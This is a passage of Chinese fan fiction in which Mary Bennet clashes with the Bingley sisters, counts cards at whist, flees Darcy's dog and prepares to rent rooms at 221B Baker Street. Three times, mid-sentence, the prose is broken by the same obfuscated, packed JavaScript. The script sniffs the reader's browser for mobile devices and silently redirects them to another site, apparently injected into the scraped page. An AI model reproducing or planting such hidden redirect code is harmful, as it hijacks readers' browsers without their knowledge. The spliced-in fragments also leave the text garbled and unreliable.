玛丽走的一头汗水,脸色苍白,但是脸颊通红,看上去随时一副快要晕倒的模样。 达西看到玛丽那个样子没忍住开口道:“伊丽莎白小姐,玛丽小姐,你们怎么在这里?玛丽小姐您还好么?” 伊丽莎白背对着达西,听到他的声音吓了一跳,回头看到达西先生的时候一双眼睛盯着着达西,炯炯有神的。 达西先生也没想到自己忽然出声会吓到伊丽莎白,抿着唇有些不好意思,内心的涵养让他开口:“抱歉伊丽莎白小姐,吓到您了。” 伊丽莎白也不是不讲道理的人:“无妨,达西先生,我们是来看望姐姐的。” 达西震惊的看着两位小姐裙摆上的泥巴和也已经看不出原样的皮鞋:“走路来的?” 玛丽喘匀了气才开口:“你如所见,请带我们去看看简吧。” 达西先生有些无奈,他真是搞不懂这个地方,难道班纳特先生家里的家庭教师之教了长女就辞职了么? 想要开口说两句,可是看到伊丽莎白和玛丽如出一辙桀骜不驯的模样,达西最终选择了闭嘴,默默带路。 两人进了屋子又是把宾利姐妹吓了一跳,宾利先生连忙让仆人送来了干净的鞋袜给两位小姐换上。 伊丽莎白在楼上陪伴简,玛丽有些渴了,本来打算请人送两杯水上来,可是发现楼上没有仆人,下楼走到餐厅外面却听到了那个宾利姐姐的声音。 “我想我不得不承认,班纳特府的两位小姐确实很会走路,但是看看她们的样子吧,简直像是野人!” “我简直不敢相信,姐姐感冒了,她们就在乡下树林里到处乱跑么?看到她们的头发了吧,露易丝?” “哦对,还有那些裙子,希望你也看到了弟弟,我敢打赌,那些泥巴都快有六英寸了。” 玛丽听到这里径直走进了餐厅,将里面几个人都吓了一跳。 特别是那位叫赫斯托的先生和他的妻子,玛丽记得他们,宾利先生的姐姐和姐夫。 玛丽:“如果您非要较真的话,那请说出准确的数据,裙摆上的泥巴最多也就三点九英寸① ” 露易丝和起身面对门口的卡罗琳脸色都难看极了。 玛丽看了一眼餐桌,随手拿起一个空置的杯子:“真是让人期待,你们对我和我姐姐似乎有很多评价,为什么不说出来让我听一听呢,说不定我能给出一些准确的,清晰的答案,毕竟我七岁的时候闲得无聊背下了整本《礼仪与基督教礼貌准则》还有《淑女礼仪指南》。” 说完玛丽举起杯子几乎是摆明了挑衅的姿态:“敬淑女!” 说完玛丽仰头干掉了这杯水:“另外,楼上的仆人似乎不见了,想必高贵的淑女宾利小姐会安排人送点水上来的不是么,我们走了许久,有些渴了,谢谢。” 丢下这句话玛丽将被子放回桌上离开了餐厅。 达西和宾利两位绅士面面相觑,宾利先生似乎还没反应过来,但还是下意识的让仆人送一些清水上去,达西则看着玛丽放在桌边的杯子,那是他刚才喝水的杯子…… 宾利小姐和露易丝两人对视着,还是宾利小姐率先打破沉默:“看来玛丽·班纳特小姐倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749133|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几分伶牙俐齿,还有她的姐姐那副自命不凡的模样,真令人反感。” 听到妹妹这番话宾利先生打断道:“我认为这正显示了她们姐妹之间的令人感动的手足之情。” 宾利小姐连忙转换了一下话题:“达西先生,恐怕她那冒失的行为一定影响了您对她那美丽双眼的爱慕了吧?” 达西看着门口似乎有些愣神,上次舞会时宾利小姐问他一定很讨厌乡村舞会,他却反而回答并不,他开始怀念一位女士美丽的双眸。 或许并不是他人认为的美丽,而带着一丝冷硬和锋利,达西过往的人生从未见过一位淑女有着如此的眼眸,仿佛一只冷箭,穿透了他的心脏。 他隐晦的和伊丽莎白小姐打听,却只听说对方去了伦敦。 万万没想到,在如此情况下再见到对方。 刚才玛丽·班纳特小姐的一番言语或许十分激烈,但是达西却莫名觉得,她就该如此,她有如此双眼,正是该有如此性格和言语的女性。 特别是那双绿眸,相比于上一次所看到的冷漠孤傲,这次的女孩不论言语如何激烈,双眼却带着快活的笑意。 她在为了什么事情而开心? 达西:“并不,我反而觉得奔波之后她的双眼愈发明亮,熠熠生辉。” 宾利小姐彻底不知道该说什么了,还是露易丝将话题转换到了简的身上。 餐厅里的几人在讨论什么玛丽就不知道了,回到楼上等了一会仆人送了一些清水上来,伊丽莎白给简用手帕擦拭了一下额头还有手臂。 伊丽莎白摸了摸简的额头,还是在发热,看着简昏昏沉沉的模样伊丽莎白很是担心,让玛丽照看好简之后伊丽莎白下去找了宾利先生,希望他能请医生来看一看。 等伊丽莎白回来之后玛丽看向她:“怎么说?医生什么时候来?” 伊丽莎白也坐到玛丽的身边:“说要明天才能到了。” 玛丽摸着简的后脖颈,那里还热的很,虽然额头因为不断更换手帕有些降温,但是后脖颈还是很热。 忽然想起什么,伊丽莎白看着还在昏睡的简,压低了声音:“宾利先生请人去朗伯恩拿我们的衣服了,另外,你是不是在餐厅和那两姐妹吵架了?” 玛丽翻了个白眼:“可算不得吵架,只不过是小小的纠正了一下她们对于数据方面的……评价。” 对于自己妹妹,伊丽莎白还是有几分了解的,闻言也知道为什么刚才那两姐妹对她言语讽刺的如此刻薄。 等到下午的时候看着玛丽坐在屋内无聊的发呆,伊丽莎白让她外出散散步,简这里她看着就行了。 玛丽也确实有些无聊,干脆自己溜达出去,在后面的草坪上散步。 听到枪声和狗吠,玛丽不知不觉走到了湖边。 达西正和宾利打猎,几个仆人跟在身后,手里还拿了两只鸭子。 宾利率先发现了玛丽,将拿在手里的枪递给旁边的仆人:“玛丽小姐,班纳特小姐好一些了么?” 玛丽看了两眼仆人和达西手里的猎枪:“哦,简还在睡觉,温度没什么变化,伊丽莎白陪着她呢,这是?簧轮猎枪?” 达西忽然开口:“您认识?” 15. 第 15 章 玛丽因为之前想要改装诺克七管,对其他相关燧发枪都有过一些了解:“不仅认识,我还会打呢。” 对于玛丽的话,达西感到惊奇,这个女孩身上到底有多少秘密? 玛丽打量了两眼,看到几只猎犬都被牵在仆人手里,虽然看上去很安全,但是玛丽还是默默后退了几步拉开距离。 因为有狗,玛丽转身向别处走去。 晚餐的时候伊丽莎白和玛丽都是在楼下餐厅用餐的,因为玛丽的存在,宾利姐妹并不敢说什么难听话,晚餐结束伊丽莎白上楼去看望简,玛丽则是在询问过宾利先生之后去书房随便找了本书看一看。 内瑟菲尔德庄园的书房并不大,里面的存书也不多,没什么玛丽特别想看的,随便拿了本哥特小说就在休息室里看了起来。 赫斯托先生在晚餐的时候刚喝了一瓶酒,这会又不知道从哪里端着一杯酒招呼大家一起来打牌。 宾利先生不愿意让玛丽一个人孤零零的坐在一边,招呼她也一起来玩。 玛丽扫了一眼:“不必了,我宁愿看会书。” 说话间达西和伊丽莎白都走进了屋子,伊丽莎白刚看完简,也从书房找了本书看看。 达西看了眼玛丽手里的书,似乎是什么小说,现在主流上都不建议女士们读爱情小说,认为这会让女士们乱了心智,影响以后的婚嫁。 赫斯托先生坐在桌边:“宁愿看书也不愿意打牌么?真奇怪。” 宾利小姐看到达西一直在看着玛丽的方向没忍住出言讽刺道:“哦,玛丽小姐可瞧不上纸牌,她是个了不起的读书人。” 伊丽莎白本来坐在玛丽旁边并不打算搭理这对姐妹,没想到宾利小姐竟然出言讽刺了自己的妹妹,忍不住合上书本就回道:“我的妹妹恐怕担不了这般责备。不过您的这份夸奖我的妹妹确实受得起,我可没见过比玛丽更聪慧的姑娘了。” 玛丽拍了拍伊丽莎白的手:“看来宾利小姐实在盛情,那不如我就陪她们玩一会吧。” 伊丽莎白看着玛丽压低了声音:“别太过分。” 玛丽撇了撇嘴:“哦,再说吧。” 自从知道爸爸愿意满足她去伦敦闯一闯的愿望,考虑到未来可能一年的时间都不会回到朗伯恩,甚至她闯出一些名堂的话说不定会在伦敦逗留更久,想到这里玛丽就忍不住对家人好一些。 如果可以满足家人小小的愿望,替她们出一些小小的气,而这些事对自己来说都是举手之劳,那何乐而不为呢? 宾利先生很乐意招待简的家人,他希望简的家人都能在内瑟菲尔德快快活活的,这样简也会很快活。 坐在桌边的玛丽看着另外几人,赫斯托先生喝了一口酒:“哦,我可不能欺负小姑娘,这样吧,我就暂时不参与了,让露易丝和卡洛琳还有查尔斯先和你玩玩吧。” 玛丽坐在桌边:“没关系,随便你们怎么搭配,是打惠斯特,卢牌,抓彩牌还是皮克牌?” 露易丝看了眼妹妹:“惠斯特吧,平常我们都是打惠斯特比较多的,玛丽小姐。” 玛丽不置可否,宾利先生负责洗牌,他和玛丽是一组,两人面对面坐着,左右两边是露易丝和卡洛琳,她们两个是一组。 卡洛琳·宾利打定主意要给玛丽一点难看:“要来点彩头么?还是随意玩玩?您带了多少本金玛丽小姐?” 玛丽看了看卡洛琳,露出一张一看就是假笑的脸,旁边的伊丽莎白差点没忍住笑出来。 “哦,这要看你了宾利小姐。” 卡洛琳看了眼露易丝:“那就随便玩玩,到时候再算钱吧,放心,不会玩很大的。” 说完卡洛琳就催着宾利先生发牌。 宾利先生平日里陪姐妹们玩的也多,很快就发完了牌。 达西背对几人坐在桌边写信,卡洛琳还抽空和达西先生聊了两句,询问他妹妹的近况。 但是很快卡洛琳就说不出话了。 她和露易丝一直在被玛丽和宾利先生压着打,打完了三局牌,两人一次都没赢过。 玛丽随手合拢桌上的牌:“还要继续吗,宾利小姐。” 达西站在桌边看着几人,卡洛琳不想在达西先生面前丢人,只能硬挺着笑脸说继续。 一轮又一轮,打了十几轮下来,卡洛琳和露易丝两人一次都没赢过,甚至中途露易丝故意说自己累了,让赫斯托先生帮她打。 自认自己是打牌好手的赫斯托先生和卡洛琳加起来也没打过玛丽。 伊丽莎白看着玛丽认认真真的在纸上记录卡洛琳输掉的金额,已经快70多英镑了! 这纸还是第二局结束之后玛丽专门让达西先生借给她做记录的。 纸上一行又一行都是卡洛琳露易丝以及赫斯托先生的记录。 伊丽莎白笑着拍了拍玛丽的肩膀:“好了玛丽,时间差不多了。” 玛丽随手将纸放在一边:“哦,好吧,想必宾利小姐也累了。” 卡洛琳几乎是咬着牙想说自己不累,但是达西打断了她。 达西:“您会算牌?” 玛丽随手拿起一张牌:“轻而易举。” 宾利先生:“这可太让人惊讶了,您是怎么做到的?您能记住每一张牌?” 伊丽莎白笑着说道:“爸爸妈妈还有舅舅姨妈他们打牌的时候玛丽在旁边看着就学会了,一开始是几个孩子之间无聊的时候会玩一玩,后来她们发现玛丽会记牌算牌,就不愿意带她玩了,这么多年家里打牌玩的时候都不会喊她的。” 玛丽撇撇嘴:“这可不能怪我。” 说话间,玛丽一边拿起牌一边说牌面,洗好的牌一张张翻过来,每一张牌面都没有说错。 宾利小姐明白了玛丽的意思,从第一轮打牌开始,玛丽只是简单的计算,但是从第二轮开始,她们打出的每一张牌,每个人手里发到的是什么牌,恐怕她都记得了。 她们根本不可能打赢。 宾利小姐:“你这简直就是作弊。” 玛丽:“总不能因为我太聪明,能记住牌就算我作弊吧,我也没说您不能记下呀?” 宾利先生生出几分急智再次岔开话题:“您可真是多才多艺,玛丽小姐。” 宾利小姐却没有接下这个台阶,转而用略带讽刺的语气说道:“这可算不得什么多才多艺,要我说达西先生的妹妹才是多才多艺,我有幸听过她的钢琴,可是弹的好极了,简直无与伦比,您会弹钢琴么,玛丽小姐?” 伊丽莎白:“玛丽是我们家里钢琴弹的最好的,不论多难的曲目她都可以很轻易的演奏。” 说这话的时候伊丽莎白的良心还是有一点负罪感的,玛丽的钢琴只能说弹的准确,没有一丝感情的存在,只有纯粹的按键准确,之前的家庭教师对此的评价是一个准确的钢琴按键机器也不过如此了。 宾利都有些着急了:“要我说现在的姑娘们都是才女,她们会唱歌,画画,跳舞,说法语和德语,装饰屏风,还有很多我不知道的能力。” 达西看到了正在偷偷翻白眼的玛丽:“要我说真正多才多艺的女人最多只有半打。” 宾利小姐仿佛获得了达西的鼓励,声音都愈发激昂起来:“没错,没有女人可以真正称得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749134|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上多才多艺,除非她的神态礼仪得体,走路的仪态优美,嗓音语调温婉,还有谈吐表达要有深度。” 达西:“除此之外,她还得有点真才实学,通过广泛的阅读来提升思想。” 玛丽撇撇嘴:“哦,是么,那可真不错,祝你们早日成为理想中的才女。” 说完就拉着伊丽莎白离开了休息室。 宾利小姐仿佛受到惊吓一般捂住胸口:“我的天哪,怎么会有如此无礼的小姐。” 伊丽莎白其实可以挣脱玛丽,但是还是装作被拉走的模样。 两人回到房间里之后伊丽莎白笑了出来:“玛丽,你可太胡闹了!还有你在说什么?祝他们?我的天哪,那位高傲的达西先生似乎快要被你气晕过去了。” 因为没有外人在,玛丽随意的耸了耸肩膀:“这可不能怪我,他们可太无聊了,听他们说话,还不如看野鸭子在水面上游泳来的有趣,那个卡洛琳·宾利真是天底下最无聊的人。” 伊丽莎白看了眼玛丽,忍不住又笑了出来。 玛丽也笑了,倒不是因为打牌或者言语争锋之间赢了宾利小姐,而是伊丽莎白很开心,她笑起来很快乐。 伊丽莎白笑够了之后摸了摸玛丽的头:“你今天看上去似乎很开心,玛丽,你以前根本不会在意别人的那些话的。” 玛丽顺势拥抱了一下伊丽莎白:“因为我这么做或许会让你开心,莉齐。我希望你开心,不止你,还有简,还有凯蒂和莉迪亚。” 到底是没忍住,玛丽在和伊丽莎白钻进被窝之后小声的说:“爸爸暂时让我不要告诉别人,但是我知道你会帮我保守秘密的对吗?” 伊丽莎白点点头:“当然,玛丽。” 玛丽靠近伊丽莎白的耳朵边:“爸爸同意让我去伦敦了。” 伊丽莎白一开始没明白:“是去舅舅家玩么?” 玛丽摇摇头,靠着伊丽莎白的肩膀:“不,爸爸愿意让我去伦敦闯一闯,我想好了,我的物理,化学,科学都不错,机械工程也了解一些,我想去伦敦的一些大学的化学实验室看一看。如果有机会,我说不定可以和那些老师学习,真正的学习,而不是自己看书,自己研究。” 伊丽莎白的心却沉了下来:“你决定了么?玛丽,你真的这么决定了么?现在大学可不会……” 玛丽:“我知道,所以我会想办法,我想自己去试试,我想试一试,莉齐,而不是什么都不做的就放弃。或许我当时在伦敦就放弃的太早了,我应该再努力努力,和夏洛克争取一下的。” 伊丽莎白:“夏洛克?” 玛丽:“没错,夏洛克·福尔摩斯,我在伦敦认识的一个……朋友。我上次或许就是放弃的太早了。好吧不提已经过去的事情了,不论如何,爸爸答应我让我去闯一闯,试一试,莉齐,我真开心,哪怕这件事的结果不一定顺利,好吧我猜得到,一定不会顺利,一定很困难,但是我愿意,我想去尝试,我想成为一个努力为自己的愿望奋斗过的人。” 伊丽莎白紧紧地拥抱着自己的妹妹:“玛丽,我很难说祝你顺利,你我都知道,这不现实,但是我愿意祝福你,我的妹妹,我祝福你梦想成真,不论如何,我都是你最亲爱的姐姐,你值得信任的亲人。” 玛丽:“哦,莉齐,这不严谨,还有简,凯蒂,莉迪亚……我还是得说,莉迪亚是家里头号小笨蛋,但是我也爱她。” 伊丽莎白笑了起来,两人靠在一起说了许多,一直到夜幕低垂才沉沉睡去。 看着玛丽睡梦中都带着的笑容,伊丽莎白在玛丽的头上落下一吻:“晚安,做个好梦。” 16. 第 16 章 第二天一大早班纳特太太就在宾利先生的邀请下前来朗伯恩探望简。 卡洛琳在会客室里等待着,从窗口看到马车进入庄园之后她忍不住开口说道:“好了,现在轮到她的妈妈了,怎么了,全国姓班纳特的人来攻打内瑟菲尔德庄园了么?真是让人难以忍受!” 班纳特太太先去探望了简,然后就带着莉迪亚和凯蒂下楼去和宾利先生见面了。 伊丽莎白陪着妈妈下楼,玛丽留在楼上照看简。不知道楼下发生了什么,但是伊丽莎白重新上楼之后显得气冲冲的。 简还在睡觉,玛丽陪着伊丽莎白下楼:“怎么了?妈妈呢?回去了?” 伊丽莎白一边走一边叹气:“妈妈和凯蒂莉迪亚都回去了,玛丽,妈妈今天太……太不得体了。还有莉迪亚,我的天,她简直就是……” 玛丽大概猜得到:“这又怎么样呢?妈妈又不是第一天这样,她从我们出生前就是这样的人,爸爸没办法改变她,我们也无法改变她,她在自己的世界里自得其乐。而且对宾利先生来说,越早认清妈妈的性格,对简来说也越好,毕竟如果他真的爱上了简,就得面对简的家人,你,我,凯蒂,莉迪亚,当然也包括妈妈,爸爸。” 看到伊丽莎白愁眉紧锁,玛丽继续说道:“再说了,难道妈妈还能比我更不得体么,虽然我个人并不在乎所谓的淑女礼仪规范要求,但是并不代表别人不在乎,毕竟这是他们立足的根本。” 伊丽莎白看了眼玛丽:“可是你不一样,玛丽……你……诶,我也不知道该怎么说。” 两人说话间看到一只斑点狗,身上没有拴着绳子,玛丽默默的后退了两步。 伊丽莎白见状赶紧走上前去挡住了玛丽的视线。 天不怕地不怕的玛丽小姐唯一害怕的生物,就是狗。 这得益于小时候的玛丽过于高估了自己,也过于低估了佃农家的小狗。 自从懂事以来基本没有哭过的玛丽班纳特小姐,在三岁五个月的时候,被一只一岁大的小狗追到大哭。 伊丽莎白和简找到她的时候她竟然爬到了一颗苹果树上,紧紧地抱着树干大哭。 从此之后玛丽一旦见到狗就会自动躲开。 那只狗看上去并不凶,但是作为中型犬的体型还是给玛丽带来了一些压迫感。 玛丽深吸一口气躲在伊丽莎白身后,不自觉的声音都带着一点恐惧:“莉齐,有狗。” 伊丽莎白没忍住噗嗤一下笑了出来,但是很快又憋住了笑容:“是的,玛丽,我看到了。” 玛丽:“快把他赶走,求求你,求求你!Please!!!” 伊丽莎白靠近了狗狗,可是那只狗似乎对伊丽莎白并没有什么兴趣,反而歪着头一直打量玛丽。 玛丽默默地后退着,一人一狗就这么隔着伊丽莎白对峙。 最终这只狗狗打破了对峙,往玛丽的方向跑了两步。 玛丽吓得转头就跑,一边跑一边大喊:“莉齐,莉齐!!救救我!!” 狗狗似乎以为玛丽在陪他玩,高兴的追了上去。 伊丽莎白,狗狗,玛丽,两人一狗就这么一路跑着。 玛丽一边跑一边没忍住就哭了出来,她没办法控制自己,理智的大脑告诉她面对这种狗狗,最不应该做的就是转身露出后背,但是她没办法控制身体。 伊丽莎白在后面追着:“玛丽,别跑了!!” 玛丽:“不行,我做不到,你快让它别追了!!” 狗狗越跑越兴奋,在后面汪汪叫,它一叫,玛丽跑的越快。 转过一个灌木丛的时候碰到了急匆匆赶来的达西先生,他的头发还带着湿润的水渍,显然是刚洗完澡。 玛丽也顾不得和达西先生并不相熟,冲着他就跑过去:“救救我,救救我!” 绕过达西先生背后,玛丽还在喊着:“莉齐莉齐!!你快来!!” 达西先生挡开了狗狗要扑向玛丽的动作,按住狗狗的脖子:“坐下,丹弗!坐下!” 狗狗跑的直喘气,不明白为什么玩的好好地却忽然被勒令坐下,但是作为一只听话的狗狗丹弗还是乖乖坐下了。 达西这才感觉到玛丽还在背后拽着他腰间的衣服。 看到狗狗乖巧坐下之后,玛丽迅速松开了抓着达西的手,转而向伊丽莎白跑去。 如果刚才达西先生没办法控制这只狗狗,玛丽确定自己一定会毫不迟疑的将达西先生推出去。 拜托,他可是一个健壮的成年男性,和狗打架这种事,还是交给他这种健壮的人比较好。 伊丽莎白拥抱住玛丽的肩膀:“好了别害怕了,它只是想和你玩一玩。” 狗狗似乎听懂了这句话,汪汪叫了两声。 玛丽依然躲在伊丽莎白身后:“回去回去,我们回去。” 她可太怕狗了!上帝作证,对这个世界她充满好感和好奇以及探索欲望,但是这其中并不包括狗狗。 小时候被狗狗咬了屁股的记忆可太可怕了。 达西看着女孩跟着姐姐迅速离开,转头看向坐在地上的丹弗:“看来她并不怎么喜欢你。” 丹弗外头看了看主人,又转头看了看走远的人:“汪?” 玛丽回到房间甚至关上了门,简靠在枕头上看着两人,看到玛丽脸上还残留着泪痕:“怎么了?发生了什么玛丽?” 伊丽莎白掏出手帕给玛丽擦了擦脸:“还能是因为什么,刚才我们正在散步,碰到了一只狗。” 简:“哦~” 玛丽此时终于让理智回归:“好了简,莉齐,你们不能嘲笑我,你们没有被狗狗咬过,你们不知道哪有多可怕,我只是善于躲避危险罢了!” 简和伊丽莎白对视一眼,都偷偷笑了起来。 玛丽故意板起脸装作很冷淡的样子,实际上耳朵已经红了起来。 晚上的时候玛丽留在楼上和简一起吃晚餐。 伊丽莎白到了楼下餐厅,宾利小姐和露易丝两人都挂上了虚伪的笑容,宾利先生询问了一番简的情况,得知简今天下午已经好多了心里才放心一些,医生今天终于终于到达庄园,给简做了一些检查,留下了药物,简吃了药下午睡了一会,晚上的时候已经退烧了。 达西忽然开口询问道:“玛丽小姐还好么?很抱歉我没有照看好丹弗,以至于惊吓到了玛丽小姐。” 伊丽莎白倒是有些惊讶于达西的道歉:“哦,她好多了,下午还要感谢您的帮助。” 达西:“不,您的感谢让我感到羞愧,是我没有管好丹弗,没有考虑到两位小姐是否害怕狗的问题,您的感谢我受之有愧。” 不想在这个问题上纠缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749135|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伊丽莎白没有多说什么。 晚餐结束伊丽莎白回到了楼上,玛丽正在给简读书,是莎士比亚的小说 用她毫无感情波澜的语调。 伊丽莎白走近屋子:“我的好玛丽,快放过莎士比亚吧,罗密欧与朱丽叶的爱情都快要被你给念死了。” 玛丽:“很抱歉,我很难理解他们的爱情到底感人在哪里。” 摸了摸简的额头,伊丽莎白终于放下心来:“看来你好多了简。” 简:“如果玛丽可以放过罗密欧与朱丽叶,恐怕我会更好一些。” 一贯温柔包容的简也忍不住说了一句俏皮话,可见玛丽读莎士比亚的杀伤力了。 玛丽在两位姐姐面前非常放松,随手合上了书放在一边,耸耸肩感叹道:“好吧好吧,让我放过这对苦命鸳鸯,我要回去睡觉了。” 简在贴心的照料下果然很快就恢复了健康,再给家里送了两封信都石沉大海之后,伊丽莎白不想再看到宾利小姐那充满暗示嘲讽的眼神,只能请宾利先生安排马车送她们回去。 坐上马车之后玛丽靠在另一边的窗口,看到达西先生牵着狗远远地站在庄园门口的树下,那只狗似乎对玛丽充满兴趣,兴奋的叫了两声,玛丽立刻将头缩了回来。 躲进去没一会,玛丽又探头探脑的从窗口露出半张脸,一双眼睛紧紧地盯着那只狗。 达西先生竟然难得的笑了出来。 伊丽莎白看到了达西先生的笑容都觉得不可思议,玛丽还板着脸和狗狗对峙。 这边宾利先生和简终于说完了话。 随着马车越来越远逐渐看不到之后宾利小姐长舒一口气,故作大方的说道:“再次独享自己的房子是多么愉快的一件事。只是恐怕达西先生要怅然若失了,因为要告别班纳特小姐那大胆又美丽的眼睛了。” 达西只是看了一眼宾利小姐,似乎并没有听到她的话。 回到家里之后玛丽就钻进了自己的房间,对于还没到来的伦敦之约玛丽觉得自己要做好完全的准备,呼唤了女仆帮她收拾了几个行李箱,将一些可能需要带上的东西都准备上。 晚餐的时候玛丽还保持着愉快的心情,班纳特先生倒是在大家吃的差不多的时候说出了一个新的消息。 在他们住在内瑟菲尔德庄园的几天里班纳特先生回复了一封信,而回信的客人在两天后的下午将会前来朗伯恩做客。 柯林斯表哥,将来能够继承朗伯恩庄园的人。 玛丽对此毫无兴趣,倒是晚餐结束后班纳特太太就大呼小叫的说自己神经痛要卧床休息了。 班纳特先生和玛丽去了书房,玛丽看着班纳特先生,一双眼睛里充满了迫不及待。 玛丽:“爸爸,我什么时候能去伦敦?” 班纳特先生从抽屉里拿出另一封信件:“一个月之后,玛丽,我已经请人帮忙在伦敦租下了一间小公寓,玛丽,你现在该准备准备去伦敦生活的花费了。” 玛丽接过信件开心的原地蹦了起来,上面写的清清楚楚,一位孀居的太太因为出于生活考虑,要出租自己的公寓,而这位太太的亲戚恰好正是班纳特先生的一位好友,因为好友来信,这位先生正好想到了自己的亲戚,郝德森太太。 一个月后,玛丽就可以入住郝德森太太在贝克街221B的公寓了! 17. 第 17 章 班纳特先生慷慨的预付了一年的房租,但是一年内的生活花费则需要玛丽自行想办法解决。 与此同时班纳特先生和玛丽约法三章。 第一:玛丽实在无力支撑自己的生活时就得适时的放弃伦敦之行,不得逞强给自己造成伤害,只要给班纳特先生去信,他会随时将玛丽接回朗伯恩。 第二:玛丽所赚来的生活费不得是通过任何违法所得。 第三:玛丽必须定期回信汇报自己在伦敦的生活情况,每半个月都要去舅舅家一次,如有任何行程的变动,都必须告知加德纳先生和班纳特先生。 玛丽对此并没有什么异议,而且班纳特先生十分慷慨的表示,会赞助玛丽30英镑,要知道莉迪亚一年的生活费也就110英镑左右。 30英镑,如果省着点花,几乎可以用上三四个月。 玛丽翘首以盼,恨不得一觉醒来已经是一个月之后了。 但是再睡了两觉之后到来的不是伦敦,是威廉?柯林斯,她们的表哥,未来会继承朗伯恩的陌生人。 这位柯林斯先生到来的时候是下午,玛丽被伊丽莎白从房间里叫出来的时候还有些纳闷。 等到了大门口才发现远处行驶而来的马车,玛丽手里还拿着看了一半的书:“是谁?” 班纳特先生站在最前面,听到玛丽的话回答道:“哦,亲爱的,是一个可以在我死后将你们赶出朗伯恩而不会受到任何谴责的男人,你们的表哥。” 玛丽踮起脚尖看了看,马车越来越近,车内除了车夫只剩下一个穿着一身黑色的男人,脸庞圆润,身材倒是健康,只是身高一般,坐在马车夫旁边矮了一个头。 车子很快进了庄园门口,那位柯林斯先生在马车停稳后小心的爬下马车,只是手里拿着手杖,怎么都显得动作很是笨拙。 下车后柯林斯先生倒是面带微笑十分和善恭敬:“向你们问安,我亲爱的班纳特先生以及班纳特夫人。” 进入朗伯恩之后柯林斯先生很是赞美了一番,从朗伯恩的花园,到内部的装饰,家具,几乎将所有能见到的一切都夸赞了一番。 特别是几位班纳特小姐,每一位他都奉承赞美。 班纳特太太脸色原本还很难看,但是在柯林斯赞美完几位小姐之后倒是给了一点好脸色。 但是等柯林斯先生和班纳特先生说话之后立刻转过头和女儿们抱怨起来:“他是在巡视自己的领地么,看看将来这房子归他以后是过的什么日子?哦,我的天哪,一想到将来他会抢走我们的家,我就恨他,我可太讨厌他了,我永远也不会喜欢他的!” 班纳特太太赌咒发誓,自己会永远讨厌这个威廉?柯林斯,几乎已经是将他列入自己最讨厌人的排行榜第一了,据玛丽所知,在这位柯林斯表哥之前排行第一的是卢卡斯太太,她们两个人总是针尖对麦芒。 晚餐的时候柯林斯先生又是对晚餐极尽赞美,但是每说几句话就要提一次凯瑟琳·德·包尔夫人,这让坐在旁边的伊丽莎白烦不胜烦。 柯林斯:“夫人纡尊降贵,对我和蔼可亲,真是一位非常令人尊敬的女士,我从未奢求过这样一位夫人如此慷慨的对待我,但是她是如此的善良,真是让我内心感激极了。夫人甚至纡尊降贵的邀请去罗新斯庄园进餐两次了。” 这一番话说完玛丽差点把刚才吃进去的面包吐出来,旁边伊丽莎白也狠狠的翻了个白眼,玛丽都有点可怜莉齐了,她可真倒霉,竟然坐在这位柯林斯的旁边,一晚上就听着他滔滔不绝的说着这位凯瑟琳·德·包尔夫人。 班纳特先生手里的勺子都停顿住了:“哦……是吗,真是难以置信啊。” 柯林斯受到了鼓舞:“哦,是的!没错,真是难以置信!” 班纳特太太倒是对这位贵族夫人颇感兴趣:“二位可是比邻而居?” 柯林斯:“十分有幸,寒舍与罗新斯庄园仅隔一条小路!” 班纳特先生:“哇哦,只隔一条小路么,真是难以想象啊,是么莉齐。” 伊丽莎白看了眼班纳特先生,玛丽看出来爸爸是故意逗着莉齐玩,低头憋住笑,差点把脸都埋在盘子里。 一阵顿饭吃完,莉迪亚都差点吐出来,等到上楼之后莉迪亚还在抱怨:“他真是让人不愉快,玛丽,你晚餐的时候怎么不说话,你就该用你平日里那些显而易见能看出来的东西,狠狠的讽刺他一番!” 玛丽站在门边:“莉迪亚,他确实显而易见,一个庸俗又愚蠢的人,就连你都看得出来,我为什么要讽刺他,这甚至比让我讽刺你更觉得无聊,至少你跳脚的时候比他有趣多了。” 说完玛丽故意做了个鬼脸躲回房间。 莉迪亚果然被气的跳脚:“凯蒂!你看到了吧,你看到了吧!气死我了,气死我了!我要告诉妈妈!” 凯蒂对赶紧拉着莉迪亚回房间,她可不想和玛丽对上。 第二天醒来玛丽懒得出门,正在屋子里看书,本来上午的时光就打算在房间里自得其乐就好了,但是伊丽莎白过来敲门邀请玛丽一起去梅里囤。 玛丽:“不,我想在家待一会。” 伊丽莎白看了眼楼下:“拜托了玛丽,我可不想和简一起面对那个柯林斯!” 玛丽:“怎么了我是赫尔墨斯①嘛,指望我来让他闭嘴?” 伊丽莎白看了眼玛丽:“拜托玛丽,救救你可怜的姐姐。” 